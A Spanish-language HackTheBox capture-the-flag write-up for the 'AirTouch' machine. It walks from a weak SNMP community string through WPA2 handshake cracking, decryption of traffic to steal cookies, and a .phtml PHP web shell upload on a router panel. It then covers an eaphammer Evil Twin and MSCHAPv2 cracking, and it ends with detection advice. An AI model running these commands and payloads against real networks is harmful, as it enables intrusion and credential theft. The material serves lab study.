AirTouch
Cadena de 22 pasos desde SNMP débil hasta root. Enumeración clásica, entorno Docker con interfaces WiFi virtuales (mac80211_hwsim), cracking de handshake WPA2-PSK, descifrado de tráfico para robar cookies de sesión, RCE vía .phtml en panel de router, y compromiso Enterprise con Evil Twin + MSCHAPv2 + hashcat.
View on HackTheBoxResumen
AirTouch es una máquina Linux de dificultad alta centrada en hacking WiFi en tres capas: enumeración clásica (nmap, SNMP), ataques sobre WPA2-PSK (handshake, deauth, aircrack-ng, airdecap-ng) y ataques sobre WPA-Enterprise (Evil Twin con eaphammer, captura PEAP-MSCHAPv2, hashcat modo 5500). La máquina muestra que el hacking WiFi no se limita a capturar un handshake: cada paso entrega un fragmento de información que abre la siguiente puerta.
Reconocimiento
Escaneo TCP
nmap -p- --open -sS --min-rate 5000 -Pn -n 10.10.X.X -oG allports.txt
# Puerto relevante: 22/tcp (SSH)
Escaneo UDP
nmap -sU --top-ports 200 10.10.X.X
# Puerto relevante: 161/udp (SNMP)
UDP suele ignorarse en enumeraciones rápidas. En este caso contiene la pista crítica.
SNMP — Community string débil
onesixtyone
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.X.X
# Resultado: community string "public" válida
snmpwalk — filtrado de contraseña
snmpwalk -v2c -c public 10.10.X.X
El campo sysDescr contiene una contraseña en texto claro. public es el valor por defecto más conocido de SNMP; si el servicio está expuesto sin cambiarla, cualquier consulta devuelve información del sistema que nunca debería estar accesible.
Acceso inicial — SSH como consultant
ssh [email protected]
# Password: <obtenida de sysDescr>
El puerto SSH no era vulnerable por sí solo. SNMP entregó la credencial que faltaba — primer encadenamiento.
Entorno Docker y interfaces WiFi virtuales
Dentro del sistema hay un entorno Docker con interfaces wlan0 a wlan6. Estas interfaces son virtuales gracias a mac80211_hwsim, un módulo del kernel Linux que simula radios WiFi sin hardware físico. Esto permite practicar ataques inalámbricos dentro de un laboratorio controlado.
Fase WiFi — WPA2-PSK (AirTouch-Internet)
Detección de redes y clientes
airodump-ng wlan0
Se identifican dos objetivos:
| SSID | Cifrado | Nota |
|---|---|---|
AirTouch-Internet | WPA2-PSK | Red doméstica / compartida |
AirTouch-Office | WPA-Enterprise | Red corporativa (clientes buscándola) |
Tres clientes están haciendo probe requests hacia AirTouch-Office. Este detalle anticipa la fase Enterprise.
Captura de handshake WPA2-PSK
# Monitorizar en el canal de AirTouch-Internet
airodump-ng -c <canal> --bssid <BSSID> -w captura wlan0
# Forzar reconexión con deauth (acelera la captura)
aireplay-ng --deauth 5 -a <BSSID> wlan0
El deauth no rompe la contraseña — obliga al cliente a reautenticarse para capturar el 4-way handshake, que puede verificarse offline.
Cracking con aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt captura.cap
# Contraseña: challenge
WPA2-PSK depende completamente de la fortaleza de la clave. Con un diccionario y un handshake capturado, el ataque es offline y no toca el AP de nuevo.
Conexión a la red
# wpa_supplicant.conf
network={
ssid="AirTouch-Internet"
psk="challenge"
}
wpa_supplicant -B -i wlan1 -c wpa_supplicant.conf
dhclient wlan1
# IP asignada: 192.168.3.23
Robo de cookies — airdecap-ng
Con la PSK conocida y presencia en la red, se captura tráfico de otro cliente y se descifra:
airdecap-ng -e "AirTouch-Internet" -p challenge captura.cap
En el tráfico aparece:
Cookie: PHPSESSID=<valor>; UserRole=admin
La combinación de PSK conocida + handshake del cliente permite derivar las claves de sesión y descifrar su tráfico WPA2.
RCE en el router (192.168.3.1)
Acceso al panel como admin
La cookie robada (PHPSESSID + UserRole=admin) se reutiliza contra http://192.168.3.1. La aplicación confía en el estado de sesión sin protecciones adicionales.
File upload bypass — .phtml
El panel expone una funcionalidad de subida de archivos. El filtro bloquea .php pero no .phtml. El servidor ejecuta ambas extensiones como PHP:
<?php system($_GET['cmd']); ?>
# Subir shell.phtml desde el panel
# Invocar: http://192.168.3.1/uploads/shell.phtml?cmd=id
# Resultado: www-data
Credenciales en login.php
curl "http://192.168.3.1/uploads/shell.phtml?cmd=cat+/var/www/html/login.php"
# user:JunDRDZKHDnpkpDDvay
SSH al router — escalada a root
ssh [email protected]
# Password: JunDRDZKHDnpkpDDvay
sudo su
cat ~/user.txt
Pivoting — send_certs.sh y red Enterprise
cat /root/send_certs.sh
# Revela: credenciales remote:xGgWEwqUpfoOVsLeROeG → 10.10.10.1
# También: certs-backup con certificados de AirTouch-Office
La red corporativa que los clientes buscaban está en el segmento 10.10.10.0/24.
Fase WiFi — WPA-Enterprise (AirTouch-Office)
Evil Twin con eaphammer
eaphammer \
--ssid AirTouch-Office \
--interface wlan3 \
--bssid ac:8b:a9:aa:3f:d2 \
--channel 44 \
--band 5GHz \
--auth peap \
--creds
Un punto de acceso falso con el mismo SSID que AirTouch-Office. Los clientes que ya buscaban esa red intentan autenticarse. Si no validan el certificado del servidor correctamente, el intercambio cae en nuestra trampa.
Captura MSCHAPv2
Usuario capturado: AirTouch\r4ulcl
PEAP crea un túnel TLS, pero el interior es MSCHAPv2 — un reto/respuesta crackeable offline si el cliente acepta nuestro servidor falso.
Cracking con hashcat
hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt
# Contraseña: laboratory
Modo 5500 corresponde a NetNTLMv1 / MSCHAPv2.
Conexión a AirTouch-Office
# wpa_enterprise.conf
network={
ssid="AirTouch-Office"
key_mgmt=WPA-EAP
eap=PEAP
identity="AirTouch\\r4ulcl"
password="laboratory"
phase2="auth=MSCHAPV2"
}
wpa_supplicant -B -i wlan6 -c wpa_enterprise.conf
dhclient wlan6
# IP: 10.10.10.38
Compromiso final — root.txt
# SSH al host interno con credenciales del router
ssh [email protected]
# Password: xGgWEwqUpfoOVsLeROeG
# Credenciales admin en archivo EAP
cat hostapd_wpe.eap_user
su admin
sudo su
cat /root/root.txt
Kill Chain
| # | Fase | Técnica | Resultado |
|---|---|---|---|
| 1 | Recon TCP | nmap -p- -sS | 22/SSH |
| 2 | Recon UDP | nmap -sU | 161/SNMP |
| 3 | SNMP | onesixtyone + community public | Contraseña en sysDescr |
| 4 | Foothold | SSH como consultant | Shell inicial |
| 5 | Enum WiFi | airodump-ng | AirTouch-Internet (PSK) + AirTouch-Office (Enterprise) |
| 6 | Handshake | deauth + captura | 4-way handshake WPA2-PSK |
| 7 | PSK crack | aircrack-ng + rockyou | PSK: challenge |
| 8 | Red interna | wpa_supplicant + dhclient | IP 192.168.3.23 |
| 9 | Cookie theft | airdecap-ng + análisis tráfico | PHPSESSID + UserRole=admin |
| 10 | Panel router | Cookie reutilizada en 192.168.3.1 | Acceso como admin |
| 11 | RCE | Upload .phtml | Shell www-data |
| 12 | Cred leak | cat login.php | user:JunDRDZKHDnpkpDDvay |
| 13 | Router root | SSH + sudo | root en router · user.txt |
| 14 | Pivot | send_certs.sh | Creds Enterprise + certs |
| 15 | Evil Twin | eaphammer PEAP | MSCHAPv2 capturado |
| 16 | Enterprise crack | hashcat -m 5500 | Password: laboratory |
| 17 | AirTouch-Office | wpa_supplicant PEAP | IP 10.10.10.38 |
| 18 | SSH interno | [email protected] | Acceso segmento Enterprise |
| 19 | PrivEsc | hostapd_wpe.eap_user → su admin → sudo | Root · root.txt |
Lecciones
| Técnica | MITRE ATT&CK |
|---|---|
| SNMP Community String Weak | T1046 |
| Network Sniffing (airdecap-ng) | T1040 |
| Session Hijacking via Cookie | T1539 |
| File Upload Bypass (.phtml) | T1190 |
| Evil Twin / Rogue AP | T1557 |
| MSCHAPv2 Offline Cracking | T1110.002 |
| Credential in Files | T1552.001 |
Detección: Monitorizar SNMP con community strings por defecto (alertar sobre public/private en producción). Validar certificados de servidor en clientes WPA-Enterprise para prevenir Evil Twin. Filtrar subidas por contenido real (magic bytes), no solo por extensión. Usar cookies con flag Secure + HttpOnly y renovar sesión tras autenticación. Nunca almacenar contraseñas en texto plano en archivos PHP.
Keep hacking.
Conversor
Web app que procesa XML+XSLT del usuario con lxml. Como lxml soporta las extensiones EXSLT, `exploit:document` permite escritura arbitraria de ficheros; combinado con un cron que ejecuta todos los .py de un directorio cada minuto se obtiene RCE como www-data. Lateral vía credenciales en SQLite (MD5 crackeado con John) y escalada a root abusando de `sudo needrestart -c` (GTFOBins, config Perl) para crear una bash SUID.
GiveBack
Cadena en cuatro capas — WordPress con GiveWP 3.14.0 vulnerable a CVE-2024-5932 (PHP Object Injection → RCE en pod WP), túnel inverso con Chisel para alcanzar un servicio legacy del clúster Kubernetes, PHP-CGI vulnerable a CVE-2024-4577 (Best-Fit %AD), extracción de secrets vía service account token, y escape final del contenedor abusando del FD leak de runc 1.1.11 (CVE-2024-21626, Leaky Vessels).